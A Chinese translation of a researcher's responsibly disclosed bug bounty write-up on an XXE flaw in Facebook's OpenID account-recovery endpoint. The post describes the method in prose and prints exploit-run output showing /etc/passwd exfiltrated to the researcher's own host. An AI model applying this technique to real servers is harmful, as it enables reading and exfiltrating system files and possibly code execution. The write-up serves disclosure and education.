大家好!首先我做一下自我介绍。我叫Reginaldo Silva,是一名巴西籍的计算机工程师。最近我的工作与信息安全有关,尤其是在Web应用程序安全性的方面。如果可以的话,我很乐意给大家演示如何入侵网站和应用程序。我的主页上有一些相关信息,欢迎大家浏览。
今天,我想讲一下我发现一个影响Facebook的远程漏洞代码的过程。正如一般的故事开头那样,这一过程也是在很长时间以前就开始了(实际上仅仅是一年多,但我依然感觉很漫长)。如果你觉得这个话题很有趣,或者想让我帮你在你的(或你公司的)代码中做一些有关审查和渗透测试的安全问题,请发邮件给我。我的邮箱是 reginaldo@ubercomp.com。
2012年的9月22日对我来说是个特别的日子,因为那天我发现了一个XML外部实体扩展(XXE)漏洞,它能影响Drupal管理OpenID的那部分功能。XML外部实体的功能很强大,它能读文件系统中的所有文件,能连接任意网络。如果你想寻求刺激,你可以用billion laughs进行DoS攻击。
最开始我并没有在意其他人也存在这样的漏洞,当我发现时,我立即将其提交到CVE上。这是我的第一个贡献,所以从那以后我将这条信息写在了简历上(这条漏洞的编号是CVE-2012-4554)。五天后,我突然想到OpenID的应用很广,因此,其它地方也可能存在这样的漏洞。我检查了一下*的登录方式,发现的确存在漏洞,而且可危及整个网站。
然后,我准备查找谷歌服务器中的OpenID 代码。虽然我无法打开文件,无法进行网络连接,但谷歌的应用引擎和博客平台都很容易受到DoS攻击。这个漏洞让我赚到了第一桶金,大约有500美元。
在向谷歌报告了这个漏洞后,我又测试了几个实例,最后发现,这个漏洞正在危及许多系统。这里就不列举具体内容了,但是用Java, C#, PHP, Ruby, Python, Perl等语言编写的运行库或多或少都存在问题。不公布的原因是因为这些系统实在太脆弱了。一个了解安全机制的人可以读取OpenID 和XML外部实体,然后就能一段恶意代码进行攻击。哎呀,我有些跑题了。
之后我联系了一些编写OpenID库的开发者,有些作者只把安全列表托管在了OpenID基金会上面,我又给他们发了一篇题为“一个可以掌控一切的漏洞:运用XML外部实体实现 OpenID中的脆弱性”的邮件来说明这一问题。我想大部分库作者都是列表中的成员,所以补丁将会发给他们每个人。我自以为做得很好了,事实上,我才走了一小步而已。
跟我经常交流的读者依然有这样的问题:Facebook的远程代码执行漏洞到底是什么?它竟然使我们做到这种程度。过去,Facebook使用OpenID进行登录。然而,当我在2012年第一次发现OpenID漏洞的时候,我就找不到任何能进入任意OpenID网址的终结点。以前可以在
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false
动些手脚,现在 consumer_helper.php节点已经关闭了。一年后我以为Facebook的安全性有所提高,但我又测试了一下忘记密码得到了这样的结果:
https://www.facebook.com/openid/receiver.php
那时候我开始怀疑Facebook还是存在一年前我发现的那个漏洞的危害。然后我做了许多测试证明了这个猜想。简言之,如果你忘记密码了,你可以向Facebook说明你有一个@gmail.com的邮箱,然后登录自己邮箱后,把自己的信息提交给Facebook。这实际上是用邮箱登进Facebook的,这种登录方式就是基于OpenID的。到目前为止,一切都进展的不错,只是我自己遇到了些问题。我知道,由于工作的失误,OpenID的依赖方需要向已被控制的OpenID提供商(OP)发送一个Yadis发现请求,比如说http://www.ubercomp.com/。然后我的恶意提供商就会回复一个恶意的XML,它被依赖方解析,从而遭受XXE攻击。
因为我没有干预原始的OpenID请求(Facebook 与 Google之间的直接请求),实际上我没有机会进入在我控制下的作为OpenID标示符的网址,也没有让Facebook发送Yadis发现请求到这个网站。所以,我想这种错误应该不会发生了,除非我能获取谷歌到Facebook的那段恶意XML,而这种可能性极低。幸运的是,我错了。在仔细阅读了 OpenID 2.0 规范后,第11.2节验证发现的信息写到:
如果声明的标示符没有事先告诉依赖方(“openid标识”可以是“http://specs.openid.net/auth/2.0/identifier_select”,或是不同的标示符,或是OP发送的标识判断),依赖方必须提出来,以确保该OP有权对声称的身份标识做出判断。
我看了一下,openid标识果真是http://specs.openid.net/auth/2.0/identifier_select。实际上许多系统使用的都是这个。在几分钟后,我向 https://www.facebook.com/openid/receiver.php 发了一个请求,它可以让Facebook向一个被我控制的网站发送一个Yadis请求。之后会返回包含恶意XML的响应。 当我向Facebook服务器请求打开/dev/random,服务器不会返回响应,而且几分钟后请求会失效。即使如此,我还是不能打开任意文件。我尝试了许多XXE,包括各种组合和参数实体,但还是一无所获。然后我突然意识到在此过程中是存在一些问题的,改正之后……
$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
* Trying 31.13.75.1... connected
* Connected to www.facebook.com (31.13.75.1) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
&context=account_recovery&protocol=http&request_id=1
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
function b(c) {
for (var d in a) c[d] = a[d];
}
if (window.requireLazy) {
window.requireLazy(['Env'], b);
} else {
Env = window.Env || {};
b(Env);
}
}
envFlush({
"user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
Bootloader.done(["ASVup"]);</script>
</head>
<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
"\/2NZV": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
},
"GduTW": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
}
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);
require("InitialJSLoader").handleServerJS({
"require": [
["OnloadHooks"],
["lowerDomain"]
]
});
onloadRegister_DEPRECATED(function () {
openid_submit_response({
"__ar": 1,
"error": 1428005,
"errorSummary": "Error while processing response",
"errorDescription": {
"__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
},
"payload": null,
"bootloadable": {},
"ixData": []
}, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0
没错,响应中包含了Facebook的/etc/passwd。现在,我们可以随意访问了。我觉得我发现了通向王国的道路。通过Facebook 服务器视图节点能够读取任意文件和进行网络连接,视图节点不需要代理,这可是 Facebook不惜高成本建立的。随后我又有了新想法,觉得应该将其形成一个完整远程执行程序。
网络中漏洞奖励计划是非常好的方式,它也有自己的规则:不管何时发现了漏洞,请不要犹豫。将其按程序提交,安全小组会全面考虑,并向支付相应的报酬。起初,我并不信任 Facebook的安全小组,并且认为他们不会把我提交的漏洞看做是远程代码执行漏洞。我不想造成误解,所以我决定立即提交,然后我申请了一个权限进行RCE升级。升级完毕后,它可以正常运行。我想这应该没什么问题了。因为大部分漏洞都需要花很长时间来处理,我有足够的时间升级RCE,同时我觉得我是一个优秀的白帽黑客。在写完漏洞报告后,我决定出去走走,顺便吃个午餐,回来之后继续工作。
然而,我又错了,因为这是一个严重的漏洞,吃过午饭后,我加快了速度。我把报告发出去不到2个小时,让我既难忘又难过,但因为我知道如何升级远程代码执行漏洞,我将如何修复告诉了安全小组。当他们测试攻击是否有效时,我很相信他们给出的结论。我为我的作为而高兴。在接到一些反馈和4封邮件后,安全小组确认我的攻击是安全的,我发现的RCE的确能影响他们的服务器。
所以这就是攻击的入口,即我迄今发现的第一个高冲击漏洞。它大概也是悬赏最高的漏洞之一。另外,我还可以吹牛说我攻入了Facebook……不错,是吧?顺便说一句,安全小组的成员也写了一篇关于这事的文章。
欢迎加入Hacker News进行讨论。
事件时间点
所有时间以格林威治标准时间。不重要的信息我就不提了。
- 2013-11-19 15:51: 写报告
- 2013-11-19 17:37: 安全小组成员Godot感谢我的发现
- 2013-11-19 17:46: 我得到了可以读任意文件的答复
- 2013-11-19 19:31: 安全小组成员 Emrakul通知我短暂的修复将持续30分钟。
- 2013-11-19 20:27: 我确信漏洞已被修复。
- 2013-11-21 20:03: 获得酬金。安全小组说这是他们目前支付的最高金额。
- 2013-11-22 2:13: 我发了封邮件,询问安全小组把漏洞看做是RCE还是仅仅是文件泄露。
- 2013-11-23 1:17: 安全小组回复说,他们认为攻击不能升级到RCE。
- 2013-11-23 19:54: 我解释说明如何进行升级
- 2013-11-24 21:23: Facebook 回复说我的攻击起作用了,他们会进行处理的。
- 2013-12-03 4:45: Facebook 通知我说修复会持续一段时间,他们准备讨论一个新的报酬计划。
- 2013-12-03 19:14: 我双手交叉,向他们表示感谢。
- 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan负责管理Facebook的事件响应部门,他说“如果有一个价值百万美元的漏洞,那么我们愿意支付”。然后又询问了一下他们是否有新消息。
- 2013-12-30 4:45: Facebook通知我说漏洞已经成为了RCE,所以费用会更高。我不会透漏具体数额,你可以猜一猜,然后说出来。当然我也不会得到一百万那么多,我引用McGeehan的话仅仅是为了娱乐一下,不要当真。